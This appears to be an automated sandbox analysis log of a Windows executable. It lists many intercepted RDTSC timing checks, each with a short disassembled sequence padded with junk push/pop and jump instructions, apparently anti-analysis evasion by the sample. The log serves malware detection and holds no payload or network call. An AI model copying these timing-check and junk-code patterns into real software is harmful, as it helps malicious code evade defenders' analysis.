Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 84B2E8 second address: 84B31E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 jmp 00007FDE885210AEh 0x0000000a push esi 0x0000000b push esi 0x0000000c pop esi 0x0000000d pushad 0x0000000e popad 0x0000000f pop esi 0x00000010 popad 0x00000011 push eax 0x00000012 push edx 0x00000013 jno 00007FDE885210BAh 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 84B31E second address: 84B326 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 push edi 0x00000007 pop edi 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 84B326 second address: 84B32A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 84B32A second address: 84B333 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 854DBD second address: 854DD3 instructions: 0x00000000 rdtsc 0x00000002 ja 00007FDE885210A6h 0x00000008 jne 00007FDE885210A6h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 push eax 0x00000011 push edx 0x00000012 pushad 0x00000013 popad 0x00000014 push eax 0x00000015 pop eax 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 853E83 second address: 853E8B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 push ebx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 853FED second address: 853FF1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 853FF1 second address: 853FFF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push ecx 0x0000000b pop ecx 0x0000000c push esi 0x0000000d pop esi 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 853FFF second address: 854026 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDE885210B0h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a pushad 0x0000000b pushad 0x0000000c pushad 0x0000000d popad 0x0000000e jmp 00007FDE885210ACh 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 854026 second address: 854037 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 jnp 00007FDE88D87896h 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 854037 second address: 85403B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 85403B second address: 85403F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8541A0 second address: 8541A6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8541A6 second address: 8541AB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8541AB second address: 8541B3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edx 0x00000005 pop edx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8541B3 second address: 8541B7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8541B7 second address: 8541DB instructions: 0x00000000 rdtsc 0x00000002 jns 00007FDE885210A6h 0x00000008 push ebx 0x00000009 pop ebx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007FDE885210B0h 0x00000013 jg 00007FDE885210A6h 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 854323 second address: 854343 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDE88D878A0h 0x00000007 push esi 0x00000008 pop esi 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d je 00007FDE88D87896h 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 854343 second address: 854347 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8548C1 second address: 8548C5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8548C5 second address: 8548D4 instructions: 0x00000000 rdtsc 0x00000002 js 00007FDE885210A6h 0x00000008 push edi 0x00000009 pop edi 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8548D4 second address: 8548F8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pushad 0x00000007 popad 0x00000008 popad 0x00000009 push edx 0x0000000a jl 00007FDE88D87896h 0x00000010 push esi 0x00000011 pop esi 0x00000012 pop edx 0x00000013 push edi 0x00000014 push edi 0x00000015 pop edi 0x00000016 pushad 0x00000017 popad 0x00000018 pop edi 0x00000019 popad 0x0000001a pushad 0x0000001b pushad 0x0000001c jns 00007FDE88D87896h 0x00000022 push eax 0x00000023 push edx 0x00000024 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8548F8 second address: 854900 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push edi 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 854900 second address: 854920 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FDE88D878A7h 0x00000009 pop edi 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 854920 second address: 854926 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 854A77 second address: 854A96 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 push eax 0x00000006 push edx 0x00000007 jo 00007FDE88D87896h 0x0000000d jmp 00007FDE88D878A2h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 85B947 second address: 85B94B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 85B94B second address: 85B97A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jng 00007FDE88D878A2h 0x0000000c popad 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 pushad 0x00000011 popad 0x00000012 jmp 00007FDE88D8789Ch 0x00000017 push ebx 0x00000018 pop ebx 0x00000019 push ebx 0x0000001a pop ebx 0x0000001b popad 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 85BF32 second address: 85BF3B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 pushad 0x00000008 popad 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 85BF3B second address: 85BF4D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDE88D8789Ch 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 85C0F7 second address: 85C0FC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 85C0FC second address: 85C101 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 85C101 second address: 85C116 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FDE885210ABh 0x00000009 pop eax 0x0000000a pushad 0x0000000b push edi 0x0000000c pop edi 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 85C38D second address: 85C3AC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push edi 0x00000005 pop edi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push edx 0x00000009 jbe 00007FDE88D87896h 0x0000000f pop edx 0x00000010 popad 0x00000011 jg 00007FDE88D878AAh 0x00000017 push eax 0x00000018 push edx 0x00000019 jne 00007FDE88D87896h 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 85C3AC second address: 85C3B2 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 85C733 second address: 85C73D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push esi 0x00000009 pop esi 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 85C73D second address: 85C741 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 85CE29 second address: 85CE2D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 863FFE second address: 864008 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 864008 second address: 864010 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 864010 second address: 86402B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FDE885210B7h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 86402B second address: 864040 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDE88D878A1h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 863B66 second address: 863B7C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnc 00007FDE885210B2h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 863CF4 second address: 863CFC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 push edi 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 863CFC second address: 863D13 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 pop ecx 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 jnc 00007FDE885210A6h 0x0000000f jc 00007FDE885210A6h 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 863D13 second address: 863D2F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007FDE88D878A3h 0x0000000c pushad 0x0000000d popad 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 863D2F second address: 863D39 instructions: 0x00000000 rdtsc 0x00000002 ja 00007FDE885210A6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 863D39 second address: 863D3F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 863D3F second address: 863D53 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jne 00007FDE885210B2h 0x0000000c jp 00007FDE885210A6h 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8664E2 second address: 8664E7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8718D9 second address: 871900 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jmp 00007FDE885210B3h 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007FDE885210ADh 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 871900 second address: 871911 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 jns 00007FDE88D87898h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 871911 second address: 87191E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 jnl 00007FDE885210A6h 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 87162C second address: 871632 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 87879C second address: 8787A2 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8787A2 second address: 8787D6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 pushad 0x00000008 popad 0x00000009 jmp 00007FDE88D878A2h 0x0000000e popad 0x0000000f popad 0x00000010 pushad 0x00000011 jmp 00007FDE88D878A3h 0x00000016 push ebx 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 87D617 second address: 87D61C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 87D61C second address: 87D62F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDE88D8789Ah 0x00000007 pushad 0x00000008 push eax 0x00000009 pop eax 0x0000000a pushad 0x0000000b popad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7A3F43 second address: 7A3F49 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7A3F49 second address: 7A3F4F instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7A3F4F second address: 7A3F55 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 88252F second address: 882533 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 882533 second address: 882546 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 push edi 0x00000005 pop edi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 push eax 0x0000000a pop eax 0x0000000b jp 00007FDE885210A6h 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 88711B second address: 88711F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 88711F second address: 88714B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDE885210B8h 0x00000007 pushad 0x00000008 jmp 00007FDE885210AFh 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 889DF4 second address: 889DF9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 889DF9 second address: 889DFF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 889DFF second address: 889E09 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnc 00007FDE88D87896h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 889E09 second address: 889E0F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 889CB3 second address: 889CC1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 pushad 0x00000006 jne 00007FDE88D87896h 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 889CC1 second address: 889CC7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 892EBD second address: 892EC4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 891790 second address: 891794 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 891794 second address: 89179E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 89179E second address: 8917A2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 891940 second address: 891944 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 891AA3 second address: 891AA9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 891AA9 second address: 891AAD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 891AAD second address: 891AB3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 891D8A second address: 891D90 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 891EB9 second address: 891EBE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8956F9 second address: 89570B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 jmp 00007FDE88D8789Bh 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8A813B second address: 8A8145 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8A8145 second address: 8A814B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8A7FE2 second address: 8A7FEC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 pop edi 0x00000006 pushad 0x00000007 push esi 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8A7FEC second address: 8A7FFB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 push eax 0x00000006 push edx 0x00000007 push esi 0x00000008 pop esi 0x00000009 jnc 00007FDE88D87896h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8A7FFB second address: 8A7FFF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8B4EA6 second address: 8B4EB9 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDE88D8789Fh 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8B4EB9 second address: 8B4EDA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 ja 00007FDE885210A8h 0x0000000c popad 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007FDE885210B0h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8CA546 second address: 8CA54B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8CA54B second address: 8CA55C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FDE885210ADh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8CA55C second address: 8CA562 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8CA6C0 second address: 8CA72B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDE885210AAh 0x00000007 push edx 0x00000008 push eax 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop edx 0x0000000c pop eax 0x0000000d pushad 0x0000000e pushad 0x0000000f jmp 00007FDE885210AAh 0x00000014 jmp 00007FDE885210ABh 0x00000019 jp 00007FDE885210A6h 0x0000001f popad 0x00000020 jmp 00007FDE885210AEh 0x00000025 push eax 0x00000026 jmp 00007FDE885210B5h 0x0000002b jmp 00007FDE885210B3h 0x00000030 pop eax 0x00000031 pushad 0x00000032 push eax 0x00000033 push edx 0x00000034 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8CA72B second address: 8CA731 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8CA870 second address: 8CA874 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8CA874 second address: 8CA880 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push ecx 0x0000000b pop ecx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8CA880 second address: 8CA886 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8CA886 second address: 8CA88C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8CA9E2 second address: 8CAA17 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDE885210B9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a push ecx 0x0000000b jmp 00007FDE885210ABh 0x00000010 pop ecx 0x00000011 push eax 0x00000012 push edx 0x00000013 push edi 0x00000014 pop edi 0x00000015 js 00007FDE885210A6h 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8CAB49 second address: 8CAB53 instructions: 0x00000000 rdtsc 0x00000002 ja 00007FDE88D8789Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8CAB53 second address: 8CAB5A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
